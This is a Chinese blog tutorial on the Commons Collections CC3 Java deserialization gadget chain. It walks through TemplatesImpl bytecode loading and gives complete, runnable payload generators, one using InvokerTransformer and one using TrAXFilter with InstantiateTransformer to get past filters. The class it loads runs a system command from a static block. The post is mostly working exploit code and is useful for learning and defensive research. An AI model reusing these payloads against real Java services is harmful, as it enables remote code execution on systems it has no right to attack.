获取中...

-

Just a minute...

这条链是利用动态类加载来经行代码执行。

原理

根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。

因为是动态类加载,我们先编写一个class类,以便后续我们加载这个类代码执行。

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class runtime {
static {
try {
Runtime.getRuntime().exec("mate-calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

我们编译一下上述代码,生成一个runtime.class文件。

寻找

ClassLoader类里的defineClass方法都是私有的,我们需要找到公有或者default类型的defineClass方法。在ClassLoader.defineClass里反向寻找哪里有公有或者default类型的defineClass方法。

TemplatesImpl类里有一个default类型的defineClass方法。

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

该方法是在本类的defineTransletClasses()中被调用了的。

1
2
3
4
5
6
7
8
private void defineTransletClasses() throws TransformerConfigurationException {
…………
try {
……
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //调用defineClass
…………
}

但这个方法也是私有的,所以我们还要继续找。

本类还有三个地方调用了defineTransletClasses(),但是只有getTransletInstance()方法中有可利用的点。

1
2
3
4
5
6
7
8
9
10
11
12
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses(); //调用defineTransletClasses方法

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); //newInstance类的初始化,关键入侵点
…………
return translet;
}
…………
}

但是getTransletInstance()方法还是私有的,我们继续往回找。

只有一个地方,本类的newTransformer()方法调用了getTransletInstance(),同时这个方法是public的。

1
2
3
4
5
6
7
public synchronized Transformer newTransformer() throws TransformerConfigurationException{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory); //调用getTransletInstance()
…………
return transformer;
}

而在这所有的方法的类TemplatesImpl类恰好也是继承了序列化接口的,这就很方便。

所以整条链子是这样的:

1
newTransformer->getTransletInstance->defineTransletClasses->defineClass->代码执行

构造

1
2
TemplatesImpl templates = new TemplatesImpl();    //TemplatesImpl类可以序列化,直接new
templates.newTransformer(); //第一步入口方法,newTransformer

不用管newTransformer的参数,它肯定会调用getTransletInstance,我们看这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null; //这里判断_name是否为空,我们这里需要给_name赋一个值

if (_class == null) defineTransletClasses(); //为了调用defineTransletClasses,我们需要把_class置空

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClasses方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) { //_bytecodes需要赋值,不然会抛出一个Error
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); //_tfactory需要赋值,如果不赋值,这条语句会报错,代码会停止执行。
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //这里的_bytecodes是defineClass的参数,是我们需要代码执行的地方。
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

所以我们一共有三个需要赋值的地方:_name、_bytecodes、_tfactory


可以序列化的类,反射直接修改就行。

1
2
3
4
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

修改_bytecodes属性的时候要注意,它的值应该是我们需要执行的代码。它是一个二维数组

1
private byte[][] _bytecodes = null;

我们来看defineClass接受的参数:

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

它接收的是一个一维的_bytecodes数组,那么我们可以这样修改:

1
2
3
4
5
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,codes);

难点就在最后一个变量

_tfactory的赋值。

1
private transient TransformerFactoryImpl _tfactory = null;

这个变量有一个修饰符叫transient,代表着这个属性是不能被序列化的,意思是反序列化不能给它赋值。

那我们只能通过readObject给它赋值了,我们看一下本类的readObject:

1
2
3
4
private void  readObject(ObjectInputStream is) throws IOException, ClassNotFoundException{
…………
_tfactory = new TransformerFactoryImpl();
}

到此,我们首先正着写一下代码,看看我们的链子成没成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); //TemplatesImpl类可以序列化,直接new

//反射修改类的属性_name
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

//反射修改类的属性_bytecodes
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,codes);

//反射修改类的属性_tfactory
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

templates.newTransformer(); //第一步入口方法,newTransformer
}
}

跑一边发现报错了,报了一个空指针错误。

image-20240417113212471

我们调一下到TemplatesImpl类里的422行。

image-20240417113658160

这里的if是判断TemplatesImpl类的父类是否是一个常量ABSTRACT_TRANSLET,如果是,就给_transletIndex赋值为i,如果不是,就进else。

可以看到,我们不满足if条件,进了else,这里的_auxClasses值是空的,所以才会报了空指针错误。

那么我们现在有两种办法:一是使得if判断成立,给_transletIndex赋值,二是给_auxClasses赋值。

但是我们看下面还有一个if判断,判断_transletIndex是否小于0,如果我们不给_transletIndex赋值,那它的值默认是-1,就会小于0,进入下面那个if,然后抛出一个Error,代码也就执行不了了。所以这里的方法二是走不通了,我们只能走方法一,给_transletIndex赋值。


首先我们需要满足if条件,即我们执行代码的类的父类要是ABSTRACT_TRANSLET,我们进去看一眼这个常量是什么:

1
2
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

然后我们修改runtime.class类的父类。

因为AbstractTranslet是抽象类,所以我们要实现它所有的抽象方法。

这里IDEA很方便,直接一键实现即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class runtime extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("mate-calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

把这个类编译一下。

然后我们拿着新的runtime.class再来执行一下我们写的链子。

image-20240417115815640

成功弹计算器。

至此,我们的入口newTransformer到出口整条链子就没问题了。然后我们只需要把这个入口Transformer嵌入到CC1链里,就可以序列化反序列化了。

完整CC3链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); //TemplatesImpl类可以序列化,直接new

//反射修改类的属性_name
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

//反射修改类的属性_bytecodes
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,codes);

//反射修改类的属性_tfactory
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

//templates.newTransformer(); //第一步入口方法,newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//Map类的构建与修饰
HashMap<Object,Object> inmap = new HashMap<>();
inmap.put("value","aaa");
Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);

//遍历map,触发链子
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
Object obj = constructorhandler.newInstance(Target.class,outmap);
serialize(obj);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}

image-20240417120528155

我们就从CC1的命令执行,进化到了CC3的代码执行,其实整条链子是差不多的,触发方式都是一样的。

问题

如果不仅过滤了Runtime.exec()也过滤了InvokerTransform呢?

其实IvokerTransform也就是调用了newTransformer,那么还有没有其它地方能调用newTransformer呢?

答案是有的,在TrAXFilter类里也调用了,但是这个类是不能序列化的,所以我们只能通过它的构造函数给它传参。

1
2
3
4
5
6
public TrAXFilter(Templates templates)  throws TransformerConfigurationException{   //传了一个templates进去
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer(); //调用了templates的newTransformer()方法
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

也就是说,如果我们能调用TrAXFilter的构造函数,我们就能成功执行代码。


InstantiateTransformer类是初始化Transformer的,就是一个调构造函数的。

我们看一下它的transform方法:

1
2
3
4
5
6
7
8
9
10
public Object transform(Object input) {
try {
if (input instanceof Class == false) { //判断传进来的是不是一个class,这里需要TrAXFilter.class
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes); //调用构造器
return con.newInstance(iArgs);
}

这就完美符合了我们需要调用构造函数传参的条件,

我们看一下InstantiateTransformer类的构造函数:

1
2
3
4
5
public InstantiateTransformer(Class[] paramTypes, Object[] args) {    //需要两个数组
super();
iParamTypes = paramTypes;
iArgs = args;
}

它需要我们准备传入的类的构造方法的参数类型和参数。这里就是TrAXFilter类的构造方法的参数类型和参数。

可以这样写

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class); //执行代码

总的来说就是可以用一句:

1
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

来替换所有的IvokerTransform:

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这里为了传入TrAXFilter.class,我们还是需要用老朋友,ChainedTransformer

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

序列化反序列化之后,成功弹计算器!

image-20240417132429347

完整CC3链(不使用IvokerTransform):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3_no_InvokerTransform {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); //TemplatesImpl类可以序列化,直接new

//反射修改类的属性_name
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

//反射修改类的属性_bytecodes
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class")); //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
byte[][] codes = {code}; //把一维byte数组变成二维的交给_bytecodes
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,codes);

//反射修改类的属性_tfactory
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

//templates.newTransformer(); //第一步入口方法,newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//Map类的构建与修饰
HashMap<Object,Object> inmap = new HashMap<>();
inmap.put("value","aaa");
Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);

//遍历map,触发链子
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
Object obj = constructorhandler.newInstance(Target.class,outmap);
serialize(obj);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}

绕过IvokerTransform的路线:

image-20240417132709971

相关文章
评论
分享
  • JAVA反序列化——CB链

    依赖jdk:jdk8u65 CB:commons-beanutils 1.8.3 在pom.xml里添加 12345678910<dependency> <groupId>commons-beanut...

    JAVA反序列化——CB链
  • JAVA反序列化——CC7链及CC链总结

    跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。 这次是利用Hashtable.readObject方法,这个类是可以序列化的。 寻找在AbstractMap类里的equals方法调用了get方法: ...

    JAVA反序列化——CC7链及CC链总结
  • JAVA反序列化——CC5链

    CC5也是在CC1的路线上改了改入口类。 从AnnotationInvocationHandler.readObject改成了BadAttributeValueExpException.readObject 沿用CC1从LazyMap...

    JAVA反序列化——CC5链
  • JAVA反序列化——另一条CC1链

    之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform 而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransfor...

    JAVA反序列化——另一条CC1链
  • JAVA反序列化——CC2链

    详细请看CC4链。CC2链跟CC4链几乎一样,就是在CC4利用InstantiateTransformer类的基础上改成了直接使用InvokerTransformer,其他没变。 123456CC4:Transformer[] tra...

    JAVA反序列化——CC2链
  • JAVA反序列化——CC4链

    新依赖: 12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collec...

    JAVA反序列化——CC4链
  • JAVA反序列化——CC6链

    CC6链其实就是URLDNS链的前半加上CC1链的后半。 链子构建入口类跟CC1链完全一致,这里不再赘述。 在找哪里调用了ChainedTransformer.transform方法时,CC1链是找到了TransformedMap类...

    JAVA反序列化——CC6链
  • JAVA反序列化——CC1链

    前言CC1链有两种写法,我这种写法跟ysoserial里的写法不一样,另一种写法写在另一篇文章。 cc1链要求java版本小于jdk8u71 我这里用的JDK版本是8u66 因为在高版本这条链子最后的annotationInvocat...

    JAVA反序列化——CC1链
  • java反序列化——URLDNS链

    原理:根据反序列化的一般要求,首先URL类肯定是需要能实现反序列化的接口的。 而在URL类里的hashcode方法里,会先进行一个判断,如果不是-1,那么就进入URLStreamHandler类里的hashCode方法: 而在这...

    java反序列化——URLDNS链
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp